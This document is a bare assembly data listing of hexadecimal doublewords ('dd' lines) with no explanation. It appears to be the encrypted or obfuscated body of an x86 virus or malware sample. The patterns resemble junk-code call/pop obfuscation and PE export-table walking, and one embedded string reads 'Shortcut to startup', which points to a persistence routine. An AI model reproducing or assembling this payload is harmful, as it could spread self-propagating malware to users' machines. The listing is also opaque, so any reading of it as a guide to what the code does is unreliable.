221A9D95h dd 0DAB70F06h, 197D85C7h, 622h, 0FE8B0000h, 0FFF38FE9h dd 48C0FFFh, 66000000h, 8BB9B3BBh, 1BD89C1h, 8D062218h dd 274CF98Dh, 3DB58B06h, 8906220Eh, 2233F18Dh, 89BF6606h dd 3185C7CBh, 0A406222Dh, 0F00005Eh, 68Ah, 95B50300h, 80062226h dd 85C741E8h, 62230E5h, 0 dd 0A5AAB866h, 1311B5FFh, 17BF0622h, 0FF2EC29Dh, 22206595h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 4CCE5B2Fh, 6AC4BFh, 307595FFh, 0C08B0622h dd 25994BEBh, 69FD4F2Fh, 0D44B0FF5h, 56699C11h, 5B61DCB0h dd 0A58FD808h, 0DD951A37h, 7DCE7Ah, 0F55A66D9h, 0A6451232h dd 6198F245h, 0C2E6C3BFh, 550F28Dh, 61BE4094h, 560D69A5h dd 432DF07Ch, 69306B5Fh, 8718DAE2h, 73CAE9B6h, 0F38D8DE0h dd 2906274Dh, 220B1195h, 0F18D8906h, 29062233h, 22223195h dd 3185C706h, 7C06222Dh, 6A00005Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 5038C352h dd 0A13CCE0Bh, 0B56FBA66h, 30E585C7h, 622h, 0C4800000h dd 89B5FFC0h, 89062206h, 22153585h, 0D0BF0F06h, 206595FFh dd 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0A2BC60C3h, 5E5DA888h, 0AD958B11h, 0E9062234h dd 0Ch, 1ACAA660h, 5BF13AAh, 1C197339h, 95FF006Ah, 6223075h dd 19EBC08Bh, 0C7DFF1A0h, 3DCADBBCh, 0DF45450Bh, 54CDD5CBh dd 7899A551h, 0B4FE0463h, 0CE897h, 0E5B50000h, 29B31A0Dh dd 2C6832FBh, 5157D29Dh, 5E5EEFB7h, 81F78B5Fh, 621DC7h dd 0F08B6600h, 0B589C92Bh, 6223199h, 2B0F148Bh, 22211585h dd 29F28106h, 890F6A7Ch, 22143D85h, 0A6F28106h, 8958B8B2h dd 222FED95h, 0B1C28106h, 66683FDAh, 89D819B8h, 8BFC0F14h dd 22220D85h, 4E98306h, 14698D89h, 0F9810622h, 0FFFF9E80h dd 12850Fh, 81660000h, 0E99E03EEh, 27h, 5410ECD3h, 631970CAh dd 6880Fh, 9D8B0000h, 6222071h, 0FFFF93E9h, 0DABE4BFFh dd 5E86400Ch, 5400A244h, 0E912D6BAh, 2Eh, 5A6A9A80h, 0Ah dup(0) dd 1DE90000h, 98000005h, 0FE234AF5h, 6A57BE8Dh, 0C2CF2625h dd 3C658CB7h, 0AC9AF552h, 4CFB83CCh, 0B18EFC25h, 241F6956h dd 8FB8C4CDh, 9CFD64h, 411D75F8h, 77A9791Dh, 0D0DD3A05h dd 3A4391AEh, 53BA89F5h, 0F0251E6Eh, 1278D1BBh, 8CA1F235h dd 0E3D4EFFh, 0FEA9ECFh, 6414BE9h, 5FE894E1h, 0A7D1DE01h dd 3C4C759Ch, 19AB0BB9h, 0C0CC1EEAh, 0D4175687h, 5F2B4095h dd 0E899B3E0h, 55E49490h, 0DD661227h, 900C499Ah, 473A1C48h dd 8CCF0EADh, 0F7503C65h, 1CC516A6h, 0AEDA473Ah, 632B4095h dd 0E770B7E4h, 0C6D3AD81h, 1CFF0BE1h, 9B12473Ah, 557CFC45h dd 51F3B518h, 52BDh, 5776500h, 0AAD0DD3Ah, 0E42D489Dh dd 387BA897h, 0E533C1E4h, 4B473A3Bh, 520F42A6h, 0AB51F3DBh dd 2B951C6Eh, 0B35EB194h, 8C91CF0Eh, 0Bh, 97A2EA27h, 0EB0A5BE8h dd 77D874A8h, 0D9164704h, 2B4095B2h, 0C0B0E55Eh, 2655CF29h dd 0BBC1CE19h, 77AD6980h, 0FADF3807h, 3A3B1622h, 6CB0FB47h dd 0D8671459h, 3F0C72BFh, 7491CFEEh, 60C4242Dh, 0E3C8211Eh dd 3A3BE109h, 7B991447h, 0DA651718h, 2C1B6489h, 81BACECBh dd 0BAC3115Ch, 7A8DEB96h, 51F3DA17h, 6BC2h, 7774800h, 0B8FB4836h dd 0A39466Bh, 0ED2A2FD9h, 317CA19Eh, 6AE206E3h, 0BFE5622Dh dd 0D43F0C72h, 77A4A3EBh, 0A7F44F3Ah, 1045FE8Ah, 4697B4DBh dd 0D214792h, 0B3EBA27h, 51F3D966h, 3E0D72BFh, 5123E2h dd 77EB0000h, 0EEEB3807h, 386DDAA1h, 0EE9AA7FDh, 0F7533455h dd 3878D98Ch, 2D7D88D4h, 0A6A1EB28h, 0BB79FF7Ah, 811D74D3h dd 40490477h, 0C597C407h, 473A3BB2h, 3764E3ABh, 64A992FAh dd 0C6810839h, 90E84595h, 0D91FE29Ah, 0F3DBBBB6h, 11E51h dd 77040000h, 0C5EA3B08h, 9A6B8CB7h, 179F8447h, 90B5EBD6h dd 0C213305Bh, 3162E1ADh, 2BFF79F6h, 1C185001h, 75926E73h dd 5283C0CEh, 0B06F6A13h, 31036AADh, 9CFD42h, 491872BFh dd 99A17B50h, 7C411876h, 80ADFE31h, 0E72843FCh, 684DAA95h dd 187664B4h, 0FE228941h, 76CF1DAFh, 62CF4118h, 0C35E2E06h dd 18760129h, 86B9F441h, 0C75FA061h, 19E25D2Fh, 366A7892h dd 0AF98E42Dh, 0F04B317Eh, 6D8B84A3h, 137AC5B7h, 0C6850906h dd 20A5695h, 4BD1DA4Fh, 252269A6h, 0A66FB5F0h, 170h, 64AB586Ch dd 23F9DE03h, 473A3B17h, 0C656B3FAh, 473A3BB2h, 7E085467h dd 49182AC1h, 99D607B6h, 0F02148F3h, 4D62B38Ch, 90D7043Fh dd 0B9C36187h, 512678Eh, 0E798CD7Ah, 6AF91CDh, 367BBA30h dd 76A6FA49h, 4BD121FBh, 38DEh, 0A8584400h, 439FEDDBh dd 98DB0837h, 630617E3h, 0E555C720h, 0C8117363h, 0D4E4B0E5h dd 0EAC73A34h, 4C04096Fh, 72BFE405h, 47E13F0Ch, 917363D3h dd 419CF7C6h, 0ECh, 42AB58ADh, 3A3B9EAAh, 43387347h, 95DA11D8h dd 53B4F7E0h, 18D436D9h, 3AF2E749h, 4118C3EEh, 1069A803h dd 0C329712Bh, 0E1CC4118h, 3C61DEA0h, 7D9AA3F1h, 0EA2D5684h dd 3361F62Bh, 0C6B386F6h, 0C40D287Dh, 1F5E8FB8h, 57A4B5DCh dd 0A1E92621h, 49337EA2h, 58B18EF0h, 18C4B4C4h, 13525941h dd 0CF1B91F6h, 224118C4h, 932468Bh, 227B99C4h, 18C4BF92h dd 88E04D41h, 39027784h, 6E8BC914h, 0EACA251Eh, 0C8108CF9h dd 0DD41193Bh, 0FAE93ACh, 11F1ABCCh, 44F39FDh, 453764A9h dd 0FE63A9FAh, 60AD927Ah, 2D7D2F18h, 0C04B7074h, 740951CBh dd 0C1EC4B70h, 4B38528Eh, 42B56ABEh, 0F6296AA3h, 0F0F58491h dd 72DA6A3Eh, 4489C8C6h, 696FB19h, 45502D4Ah, 9CA7D2DFh dd 45D73C5Dh, 55482435h, 0F6BE6FD8h, 0AF533148h, 772F306Ch dd 364AB58h, 1AFDF969h, 3F4F6C49h, 0EA9ED300h, 0A9D11E51h dd 0CD0A5B9Ah, 51E9CD74h, 568A8522h, 8FE6612Bh, 2E1B6DAAh dd 7EBDEE5Dh, 0B4D8E13Fh, 998A5A8Bh, 3DF52272h, 62776BDCh dd 0B5BE0F09h, 1D790623h, 0A2FE3167h, 0EE2B2147h, 3372A3A0h dd 8FB8C4EDh, 0F8513B64h, 1266AB94h, 3091F629h, 6AAFAF6Bh dd 0A3FA26E6h, 9FAB41A6h, 72254E54h, 0ADDCE53Bh, 6CB4192h dd 13A42E2h, 66D3B9E6h, 0B9E42912h, 0CCA5586h, 85000000h dd 4DF3613Ch, 87DD1B69h, 7773CBEFh, 0C3E83D06h, 105D8EB9h dd 618EDF68h, 0B4F92A19h, 3287DCAh, 529FCC7Bh, 0A2CF1C27h dd 0F03D6EDDh, 696FBC8Bh, 81E38953h, 4C3h, 4EB8300h, 5C241C87h dd 68241489h, 33E3h, 52243489h, 0C281E289h, 4, 4EA81h dd 14870000h, 4895C24h, 0EFBF5724h, 5206274Eh, 0D689FA89h dd 8B545F5Ah, 0C4832404h, 8B95104h, 1000000h, 8B3189C1h dd 0C483240Ch, 2434FF04h, 4C48358h, 5E2434FFh, 0E904C483h dd 0FFFB2EDFh, 8C20FED8h, 0F2C36B70h, 27539CB8h, 0FFC50306h dd 0B7B245E0h, 0B926CE2Dh, 0C0F5160Ch, 4FAB1026h, 4E375E6Ch dd 0D23DAE07h, 0AD0E8D58h, 69C6064Ah, 0E1981329h, 45C95B6Ch dd 0B8C8A249h, 0E322FD70h, 2DCEDE33h, 72D4C712h, 271B355Ah dd 67DB6310h, 9431B329h, 0E5F28079h, 0CFF74E0Eh, 68D8D61h dd 6A062755h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0F44C353h, 812F3720h, 6830Fh dd 0BD310000h, 6223005h, 2D119D31h, 8D890622h, 62233F1h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0DAC35242h dd 6E3C8D3Ch, 0B0F3ECC4h, 0A79B58Bh, 85C70622h, 6222D31h dd 7030h, 1899958Bh, 85C70622h, 62230E5h, 0 dd 421BD89h, 0B5FF0622h, 6220689h, 0E918D09h, 95FF0622h dd 6222065h, 6AC0BF0Fh, 7595FF00h, 8B062230h, 3919EBC0h dd 9E7A0DC5h, 4C3C8B8Fh, 1A456A5h, 17A91476h, 0B3860FFAh dd 56F95455h, 14E8h, 5BFF0100h, 743141FEh, 427F89A8h, 0AF3E079Eh dd 0D25539FFh, 1B509F4h, 5E062232h, 3850Fh, 0F7800000h dd 45C68177h, 5100006Eh, 9C88B85Bh, 0E8810D0Fh, 0D0F8125h dd 8B7FD980h, 35B58916h, 8106220Eh, 8ED334F2h, 45BD8B3Fh dd 81062221h, 0CDB5E0C2h, 11E926h, 8B0D0000h, 0E0B3C3BAh dd 0A1C94AE5h, 95741C27h, 810B6797h, 37C51CEAh, 840F523Ah dd 8, 8F0F57h, 5F000000h, 6E9068Fh, 59000000h, 5BF3E5BBh dd 42EE81C2h, 0E85EEF6Dh, 9, 0C06F4194h, 7B0BCB95h, 83EAB9F6h dd 815B0C4Eh, 0EF6D3EC6h, 0D98B665Eh, 1E881h, 850F0000h dd 0FFFFFF7Fh, 5820D98Bh, 31C8510Ch, 1210010Ch, 0BB50C254h dd 0B3002548h, 2E062548h, 7201010Ch, 7441C25Ch, 1537786Ah dd 63789C8Eh, 95E3806Ah, 0BE6E5A85h, 0E38988D4h, 9A042308h dd 0BE850E08h, 5880010Eh, 31A8510Ch, 1220010Ch, 0BB48C254h dd 0B30C2548h, 29002548h, 7202010Ch, 0EA0FC25Ch, 0DD043929h dd 8749DEB6h, 34022759h, 1019BC8Fh, 3D08072Eh, 32045688h dd 62026B0Ch, 320102E4h, 0F1D8210Ch, 16048854h, 16648008h dd 32101B08h, 0F158410Ch, 0AEDD67AAh, 5439279Dh, 0B25C25B2h dd 1A6971DBh, 5840010Eh, 31C8570Ch, 1210010Ch, 0BB56C252h dd 0B3002578h, 2A062548h, 7401010Ch, 6AE9C25Ah, 3DD7890Bh dd 8FABF2BBh, 34320475h, 36810E5Ch, 5404010Ch, 0BB075CB3h dd 0B3672508h, 3DC420CEh, 0CC644D0Dh, 0DA770166h, 3210010Fh dd 6DCB5E2Ch, 36207D85h, 3626458Dh, 32010119h, 5E43564Bh dd 0E0F70E72h, 6F4BE78Dh, 58482D74h, 31E0540Ch, 1204010Ch dd 0BB5FC251h, 0B3052560h, 24842548h, 7740010Ch, 6273C259h dd 1ED08250h, 3393BA6Ah, 0B9620987h, 7A8967F6h, 67016BF0h dd 328002E4h, 0F11D210Ch, 164C8851h, 16548008h, 32081808h dd 0F151440Ch, 35CC65FAh, 0B3679C62h, 3D7F3735h, 3240CF88h dd 0B1DB8A0Ch, 0B1AA08CDh, 0B272A6F5h, 0B70BE835h, 3202005Fh dd 21890E5Ch, 0DB80010Ch, 32400102h, 7CBF1025h, 9852D295h dd 80847BA7h, 35F331Dh, 10042099h, 33408A0Ah, 3B7DBC87h dd 0B54F072Eh, 3220011Eh, 321BE85Dh, 0AB86010Ch, 6E96AB9Fh dd 0C0BAE095h, 0FA025BE1h, 0DAD30166h, 3240010Fh, 69E35A2Ch dd 36345D85h, 362C458Dh, 32040114h, 18C1524Fh, 1C311B74h dd 328EE9F9h, 0D7A4010Ch, 387B3A0Ah, 0E855FF7Bh, 0F0587CDh dd 25F58485h, 0B15C072Eh, 326B04CDh, 3283E95Ah, 6C60010Ch dd 46A95FCFh, 76910528h, 32110528h, 6442010Ch, 0D83DCFh dd 0B384D8FDh, 71CB9135h, 96C50E87h, 3920010Ch, 101ED091h dd 1F85880Ah, 0BF022339h, 1052B081h, 65016B0Ah, 328002E4h dd 0F11F210Ch, 165C8853h, 16548008h, 32081408h, 0F153460Ch dd 26EBB807h, 4D01010Ch, 63B73314h, 0E01028AAh, 0E900C2EDh dd 0E5861022h, 8AD3691Bh, 3204010Fh, 0DA500166h, 3201010Fh dd 68435B2Ch, 36645585h, 3604458Dh, 32100119h, 1DCB534Eh dd 6BB18899h, 0B9042310h, 10209CB1h, 5861FE0Ah, 31A8510Ch dd 1220010Ch, 0BB48C254h, 0B30C2548h, 2B002548h, 7202010Ch dd 75A4C25Ch, 755E7CD8h, 8CB6806Ah, 0F79532E8h, 53162303h dd 0DA590166h, 3204010Fh, 6BC1582Ch, 36254D85h, 36A4458Dh dd 3240011Bh, 0E5E3504Dh, 0B9BB786Eh, 368F0EDDh, 5404010Ch dd 0BF6039B7h, 1554E7B1h, 0C50D8C0Ah, 8A462654h, 33B28278h dd 182D843Fh, 0FD23072Eh, 5820E8CDh, 31C8510Ch, 1210010Ch dd 0BB50C254h, 0B3002548h, 2E062548h, 8301010Ch, 0A4F305E9h dd 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 3FE4CBC3h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 53C35646h, 29799589h, 98BB0622h, 8B60A166h dd 3DA044C3h, 0CDEE1449h, 0D3889CB9h, 0AAA8210h, 22744258h dd 0CA212131h, 97E2CD12h, 0CE0524BBh, 0CE0560B3h, 0CA21122Eh dd 0DCE25C77h, 0AB7B6EF8h, 0B67171DBh, 3A64B28Dh, 179C1363h dd 0CA276A3Ah, 77A22D47h, 0CC031813h, 9A387D32h, 72E10F61h dd 0CA214631h, 0D118A4BBh, 57AC9610h, 0CC05F7FBh, 927AF7CDh dd 0C000AFB1h, 0BE210F10h, 7272D425h, 0CA214631h, 0D118A4BBh dd 57AC9610h, 0CC05F48Ah, 927AF7CDh, 0EB5487B9h, 0CFC90F10h dd 0C2218432h, 182B2E45h, 0CA23A73Dh, 0AB419032h, 99212269h dd 0CA2127DAh, 97A3232h, 0EE7D8069h, 0EE650536h, 0CA215836h dd 9726232h, 7855834Bh, 365DA07Bh, 0CA4BE4B9h, 0CA22FA65h dd 95010932h, 0B6A8DBF1h, 8EA04616h, 0CA382516h, 9D669032h dd 0F165F5F1h, 0ACF03B83h, 0CA4BCABEh, 0CA22E163h, 93018432h dd 86A81BF1h, 8EA02516h, 0CA3D9416h, 9B604832h, 0DD1F1BF1h dd 0A802EF0Bh, 0AA683Fh, 0B1983E54h, 4E2E469Ah, 0CA21253Bh dd 0CA9C0DB9h, 77A24E10h, 0CC03063Bh, 0E7A51D32h, 0A0210932h dd 0C9C9D632h, 0EA214232h, 437BE268h, 4B25B466h, 0DD256C76h dd 88212432h, 0F2A4D160h, 18C883D6h, 0C5218431h, 7FA89A8Dh dd 0CC0334CFh, 0CA06908Ch, 0DB9CC330h, 4727061Bh, 0EFB9F8B7h dd 0E7AC8234h, 3527A63Bh, 36CAC3E2h, 9C595C8Ch, 4F7A69B9h dd 3EA547F2h, 0E3212432h, 0E80EBF8Fh, 9D198834h, 0C5DA0554h dd 0CA212BB7h, 9D214B32h, 0CA2193DAh, 97E6832h, 0EE5DAD6Dh dd 0EE659336h, 0CA211E36h, 976C332h, 0BD75F950h, 0ACFEAA54h dd 0C825E8B3h, 2A54730h, 0A0212431h, 0C9C94732h, 0EA210932h dd 437C476Fh, 4B25665Eh, 0D0250576h, 8F219032h, 0C7E88B67h dd 88216404h, 0D9C8EB7Bh, 3E210932h, 581866DCh, 0E24AD53Bh dd 1D721C6h, 0BA615680h, 4B4778CDh, 0C541B80Ah, 0CA217CB7h dd 0E7AC8232h, 4A27A63Dh, 0C5C9404Ah, 0CA217FB7h, 9821FA32h dd 0CA214BDAh, 97B0432h, 0EE759B68h, 0EE658836h, 0CA219936h dd 9730032h, 32378786h, 20C0CB1Ah, 4B47721Dh, 0AC266ADDh dd 0CA276AB3h, 0E2A40699h, 23218432h, 0CA214105h, 22722158h dd 0CA219031h, 91E21312h, 0CE0578BBh, 0CE0556B3h, 0CA210928h dd 0B4E2D771h, 0AC6D2570h, 74D486E5h, 8C209132h, 22714858h dd 0CA212431h, 92E24A12h, 0CE054DBBh, 0CE05C0B3h, 0CA214225h dd 6AE27172h, 0FBA8BBA7h, 0E83BF98Fh, 7DEBA534h, 476E05C9h dd 0EFB9E3B7h, 17AC0F34h, 35276021h, 9A214BE2h, 0CA2193DAh dd 9796832h, 0EE65AD6Ah, 0EE659336h, 0CA211436h, 971C432h dd 559894E1h, 0D8B57E94h, 0AA4B495h, 0C81ECC3Dh, 5FAA2432h dd 0CC03381Bh, 29A6948Dh, 0AC19054Eh, 0C523400Fh, 0CA2140B7h dd 9F21FA32h, 0CA214BDAh, 97C0432h, 0EE4D9B6Fh, 0EE658836h dd 0CA219136h, 9740732h, 4FA83CA3h, 0CC03BC7Fh, 0E728C5B9h dd 0B2A02210h, 951C7434h, 96A50648h, 0A0218430h, 0C9C91532h dd 0EA212132h, 437E536Dh, 4B256C4Eh, 0D0250076h, 8D211232h dd 961BCA65h, 0B303B893h, 63ACC9D9h, 0AC270300h, 4B475BB9h dd 0C541D40Ah, 0CA214BB7h, 9D217832h, 0CA210ADAh, 97EA432h dd 0EE5DCB6Dh, 0EE65A036h, 0CA218B36h, 9760F32h, 5A3231F9h dd 9ED970D6h dd 0CA211DDAh, 8558CA32h, 18585995h, 75810462h, 0E2F146FAh dd 30CB22D1h, 879A4256h, 0B2A14965h, 4F2EE130h, 0CA218416h dd 4B4789B9h, 0A21274Ah, 0CA37153Dh, 0C5724832h, 2378EC85h dd 0CA2113F1h, 0C928BC1Bh, 5FAA8210h, 0CC0352E3h, 0CB20218Ch dd 879C1B4Ch, 47276A16h, 0EFB9CEB7h, 8A07434h, 1ADEE204h dd 22748458h, 0CA214231h, 97E27C12h, 0CE05FCBBh, 0CE050CB3h dd 0CA212425h, 0BFE24777h, 4F425ED2h, 0C4A58BF2h, 0A0214233h dd 0C9C97232h, 0EA219032h, 437A8B69h, 4B25006Eh, 0D6253676h dd 89210932h, 0E4964761h, 30E08487h, 0C5B5B8BBh, 0CA2196B0h dd 13BCC332h, 7F270630h, 221992D6h, 0CA648C3Dh, 5FA88432h dd 0CC034487h, 0B92459B2h, 0CA14153Dh, 32AA4832h, 99265CB2h dd 0CB00963Dh, 0CA4B0932h, 0CA226C61h, 91014232h, 96A87AF1h dd 8EA09416h, 0CA3A4C16h, 99622432h, 591A6CF1h, 74965B7Eh dd 0E39C0F9Ch, 0AC27601Bh, 0CFAE19B3h, 0CAA2153Dh, 0CA4B4832h dd 0CA22CC67h, 97011232h, 0A6A854F1h, 8EA08016h, 0CA3A4616h dd 9F642132h, 2B1B7F1h, 0EAB73893h, 0CA2CCDC6h, 60EE1232h dd 3CFDE644h, 0EFB6F7BDh, 0C37A7B6Fh, 0E8250CBFh, 0CC591034h dd 0F4A4475Ah, 0AC212432h, 0B465E1B3h, 0C1598854h, 4F2EA1CDh dd 0CA21421Fh, 22742158h, 0CA219031h, 97E21512h, 0CE0548BBh dd 0CE0556B3h, 0CA21092Ah, 0EE2D177h, 7A9E5A50h, 0BAC8F9B9h dd 41219032h, 0E800C1A7h, 0CA219C34h, 0CA4B1232h, 0CA22E164h dd 94018432h, 0BEA81CF1h, 8EA02516h, 0CA3B9416h, 9C674832h dd 0DC1AB7F1h, 6685C149h, 0D620B403h, 402E8210h, 0CA21423Eh dd 0CA27A53Dh, 47209032h, 0CC0364B3h, 0CA2115DBh, 0CA27FA32h dd 67210932h, 0FD2A3377h, 0CA33AA64h, 8DA22132h, 3021D820h dd 0D39191F0h, 74813A11h, 0F8AFE373h, 727B5069h, 0CA218433h dd 0CEA8DFB9h, 23B12710h, 0CA21903Ch, 8449DC9Fh, 3EDE303Eh dd 9A77DBABh, 5A71204Bh, 0E71411BBh, 10AA4410h, 937C9CBFh dd 47AC9615h, 0CC06171Eh, 0AC74078Ah, 0C3A41145h, 0E1272B32h dd 20218CFDh, 9C1B4CCBh, 276A1687h, 0B9CEB747h, 0A07434EFh dd 0DEE20408h, 7484581Ah, 0F305E983h, 0E1B258A4h, 26598589h dd 0C00B0622h, 0BC840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0CCAA8DC3h, 50B1B58Dh dd 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0ACDF10C3h, 8BE29F95h, 2219E59Dh, 0B8B3B506h dd 3, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h dd 60C35545h, 6AE6FF52h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0AF1BC350h, 43A90852h dd 280FBCFBh, 17800Fh, 12E90000h, 0EC000000h, 44828CEAh dd 0DFFF6556h, 0D6E94A85h, 5AC12607h, 0F8BF0F96h, 1B5DBD8Bh dd 89400622h, 221F41B5h, 6AC08B06h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0A9F0C350h dd 8300705Bh, 2208DDBDh, 9750006h, 0A21BD83h, 74000622h dd 8B535019h, 403B8C0h, 85890000h, 6220E59h, 0C0309D8Dh dd 0D3FF0624h, 0BD83585Bh, 6220A21h, 50177400h, 403B853h dd 85890000h, 6220E59h, 0BCD19D8Dh, 0D3FF0624h, 6A585Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0F18ADC3h, 1281h, 0DE900h, 0E08D0000h, 4E8720FFh, 7683B611h dd 8B7A7756h, 223339BDh, 3C08B06h, 222D69BDh, 0DE86106h dd 7D000000h, 0F86F09DAh, 3AC106DBh, 0B908C243h, 5A00ED80h dd 21259589h, 0C2810622h, 68C2h, 9E9h, 4F006300h, 0E924FFC4h dd 0F968F838h, 66000019h, 0E95EF88Bh, 0Ah, 0C7553C42h dd 0AB34E372h, 32FF0B9Ch, 35542DB9h, 81665B38h, 8103B6E0h dd 8B58D5EBh, 95015369h, 622267Dh, 0E8EB815Fh, 600FB270h dd 890F50h, 5E000000h, 0FE8h, 0B53E6D00h, 2C977456h, 13F33D42h dd 9D282A56h, 33A5B589h, 615B0622h, 8978EB81h, 820F2BD8h dd 5, 7ACF8166h, 0B70F53FBh, 66028FC7h, 0EA83CE8Bh, 0D59D8904h dd 83062200h, 850F01EEh, 11h, 5FABB051h, 24E9h, 0A7141400h dd 175D23C6h, 0C18B664Eh, 0FFFF75E9h, 25D5F3FFh, 0F6726013h dd 98DCB955h, 0AD04281Bh, 0F195C641h, 0A58D8DBAh, 6A062762h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 8DACC357h, 89DCDB80h, 2233F18Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0ECC59E90h, 0BD891602h, 62206CDh, 2D3185C7h, 5F1C0622h dd 858B0000h, 62230F1h, 30E585C7h, 622h, 9D8B0000h, 6222705h dd 1281B5FFh, 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 356433C3h, 6595FF62h, 6A062220h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 9EAEC350h, 0E361D49Bh, 40181D6Dh, 26999D89h dd 0F5600622h, 1419D89h, 0E9610622h, 12h, 0B4C5B6FBh, 910005B4h dd 6AF3BEC2h, 0D6ECF99Ah, 6AF32Ch, 307595FFh, 0C08B0622h dd 0BCA52FEBh, 8BE65AB1h, 0EA64D265h, 9B11AD14h, 0F40F5861h dd 0A9D228E9h, 97A1D915h, 37C740D3h, 0D8B560CCh, 0FF87F732h dd 0DC1D4981h, 0F233235Ch, 712ADE86h, 4B46D4D4h, 557F01DCh dd 525CD4C8h, 0B336398h, 2633A9A9h, 265AF198h, 153AEF5Eh dd 4E6033BAh, 0A5E4FFB4h, 7AF867h, 0A3BEA0BAh, 20162E26h dd 0A3BA7967h, 2011CBBDh, 3E46D71Bh, 293333BAh, 2633831Dh dd 0CFB6C098h, 763581FAh, 44E8D615h, 0D963AFBFh, 42CF10Dh dd 2664839Eh, 23593598h, 44D81F15h, 0AB634BBFh, 1517D1Dh dd 0B3CC039Eh, 2011A889h, 0A23C1493h, 26336AA1h, 44D8B015h dd 0CE639CBFh, 26334DAAh, 0A3BEF6D8h, 20143169h, 0CDB624C8h dd 7635F3FAh, 2132FF67h, 0E2B033BAh, 0CDB61794h, 76356AFAh dd 44E82315h, 0D96355BFh, 42C8C0Dh, 26513D9Eh, 0AD666A98h dd 74646474h, 2E4E11CEh, 24DA8DABh, 6633A698h, 260CD3DFh dd 0D9C62C97h, 0EF002B67h, 0CF3B1713h, 263335B2h, 31B948ABh dd 0AD03A718h, 0AD63E868h, 2C88005Ah, 0CF33A998h, 2633D49Bh dd 0A57D896Fh, 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h, 0E638EEDFh dd 0D9FDD697h, 0E7B85667h, 7F6C8EC6h, 2637A851h, 44EA8815h dd 0ABBE9CBFh, 20142996h, 9320h, 0E7FC7800h, 7310271h dd 0C783C8D0h, 850F4904h, 0FFFFFFF2h, 640EB58Dh, 8D8D0627h dd 627642Dh, 0E983CF2Bh, 0E8C88B05h, 0Ah, 1ED79705h, 0A485B9CCh dd 46B73BAEh, 0FE958h, 0AE260000h, 0BD9460A5h, 0C401A237h dd 83F19C39h, 41C0815Bh, 8B00005Ah, 220B359Dh, 3D2ABF06h dd 0F7813104h, 31042B4Bh, 8BD2BF0Fh, 0BA666008h, 0D78B3B67h dd 0EEF18161h, 0F3AAFDEh, 158Dh, 9E800h, 39ED0000h, 444B1FCBh dd 89C61C39h, 22202985h, 0E9815A06h, 2203EAA9h, 0F18150B6h dd 40B96DF9h, 606051F5h, 0FCFB70Fh, 0B261D6BFh, 8F614Dh dd 13E9h, 68E00000h, 6068C60Ah, 586CAD71h, 0CE4D0EB0h dd 0F54E830Eh, 4C7BE881h, 8B662823h, 77C081D6h, 6628234Ch dd 82C6C681h dd 0F01EF83h, 0FFFF8285h, 840F53FFh, 0 dd 0B0E95Ah, 66600000h, 0C2F6DA8Ch, 0C850F04h, 3B000000h dd 2233A985h, 36840F06h, 3B000000h, 220FC985h, 2A840F06h dd 3B000000h, 221AC985h, 1E840F06h, 3B000000h, 22001585h dd 12840F06h, 83000000h, 22248DBDh, 840F0106h, 5, 5FE9h dd 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h dd 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h dd 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh, 0Fh, 4A04C383h dd 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 2250B19Dh, 5B806h dd 0E3FF0000h, 0D00BC361h, 66628D8Dh, 840F0627h, 1, 0F18D89F9h dd 0C7062233h, 222D3185h, 6E3C06h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 7CAD41E2h dd 512F0691h, 13E8h, 0E87E2E00h, 9B81A15Bh, 0E007C0F1h dd 8A204CE9h, 7C59F85Dh, 1FA9BD89h, 5E5A0622h, 30E585C7h dd 622h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 5E76FBC3h, 93942EF4h, 8B002837h dd 22082DB5h, 0FFD08B06h, 221311B5h, 58D8906h, 0FF062200h dd 22206595h, 0F99D8B06h, 6A06221Eh, 7595FF00h, 8B062230h dd 0A44BEBC0h, 0FD62118h, 0D1D8DA22h, 82750553h, 113F9DD3h dd 24167A55h, 0CC1B6C96h, 42E7D104h, 0B100E5F6h, 0DAE44856h dd 43FBC84Ah, 4010180Dh, 0E5ACCF5Ah, 4043809Eh, 82BEC357h dd 8592FD8Eh, 0FEEF888Fh, 23FC568Dh, 78D04613h, 76E96160h dd 94000000h, 5301DAFCh, 74726F68h, 20747563h, 73206F74h dd 74726174h, 7075h, 17h dup(0) dd 1000E900h, 0B7680000h, 0E9062768h, 0FFFBE745h, 2769FA68h dd 0E73BE906h, 5C68FFFBh, 0E906276Ch, 0FFFBE731h, 276CB568h dd 0E727E906h, 9C68FFFBh, 0E906276Dh, 0FFFBE71Dh, 276E1E68h dd 0E713E906h, 0E168FFFBh, 0E9062771h, 0FFFBE709h, 2774D768h dd 0E6FFE906h, 0CB68FFFBh, 0E9062775h, 0FFFBE6F5h, 41E5E42Bh dd 9D29B4FCh, 0D5718480h, 0E2B84D48h, 3CCE0F1Fh, 7F8F9059h dd 5151AC7Eh, 1C67FA80h, 